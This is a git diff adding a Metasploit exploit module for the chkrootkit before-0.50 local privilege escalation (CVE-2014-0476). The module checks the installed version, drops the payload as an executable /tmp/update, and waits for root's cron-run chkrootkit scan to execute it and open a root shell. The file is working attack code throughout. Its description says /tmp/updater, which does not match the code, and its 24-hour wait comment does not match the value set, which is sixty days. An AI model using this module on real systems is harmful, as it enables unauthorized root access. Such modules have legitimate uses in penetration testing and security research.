diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb
new file mode 100644
index 0000000000..9354bddda0
--- /dev/null
+++ b/modules/exploits/linux/local/chkrootkit.rb
@@ -0,0 +1,78 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class Metasploit4 < Msf::Exploit::Local
+  # This could also be excellent, but since it requires
+  # up to one day to pop a shell, lets set it to Manual instead.
+  Rank = ManualRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::FileDropper
+
+  include Msf::Exploit::Local::Linux
+
+  def initialize(info={})
+    super( update_info( info, {
+      'Name'    => 'Chkrootkit 0.49 Local Privilege Escalation',
+      'Description'   => %q{
+        Chkrootkit before 0.50 will run as root any executable file named
+        /tmp/updater, allowing a trivial privsec.
+
+        WfsDelay is set to 24h by default, since this is how often a chkrootkit
+        scan is scheduled by default.
+      },
+      'License'     => MSF_LICENSE,
+      'Author'  => [
+        'Thomas Stangner', # original exploit
+        'Julien (jvoisin) Voisin' # metasploit module
+      ],
+      'Platform'    => %w{ bsd linux unix solaris osx},
+      'SessionTypes'  => [ 'shell', 'meterpreter' ],
+      'References'  =>
+      [
+        [ 'BID', '67813' ],
+        [ 'CVE', '2014-0476' ],
+        [ 'CWE', '20' ],
+        [ 'EDB', '33899' ],
+        [ 'OSVDB', '107710' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ],
+      ],
+      'DisclosureDate' => "Jun 28 2014",
+      'Arch'       => ARCH_CMD,
+      'DefaultOptions' => { 'WfsDelay' => 60*3600*24 },
+      'Privileged'   => true,
+      'Targets'     =>
+      [
+        [ 'Generic', {} ],
+      ],
+      'Stance' => Msf::Exploit::Stance::Passive,
+      'DefaultTarget' => 0,}))
+  end
+
+  def check
+    res = cmd_exec('/usr/sbin/chkrootkit -V')
+    return Exploit::CheckCode::Appears if res && res =~ /chkrootkit version 0\.[^5]/
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    if check == Exploit::CheckCode::Safe
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    else
+      print_good("Target is vulnerable.")
+    end
+
+    print_warning('Rooting depends of the crontab, this could take a while.')
+
+    write_file("/tmp/update", "#!/bin/sh\n#{payload.encoded}\n")
+    cmd_exec("chmod +x /tmp/update")
+
+    print_status 'Payload written to /tmp/update'
+    print_status 'Waiting to chkrookit to be run be a cron tab...'
+
+    register_file_for_cleanup('/tmp/update')
+  end
+end
+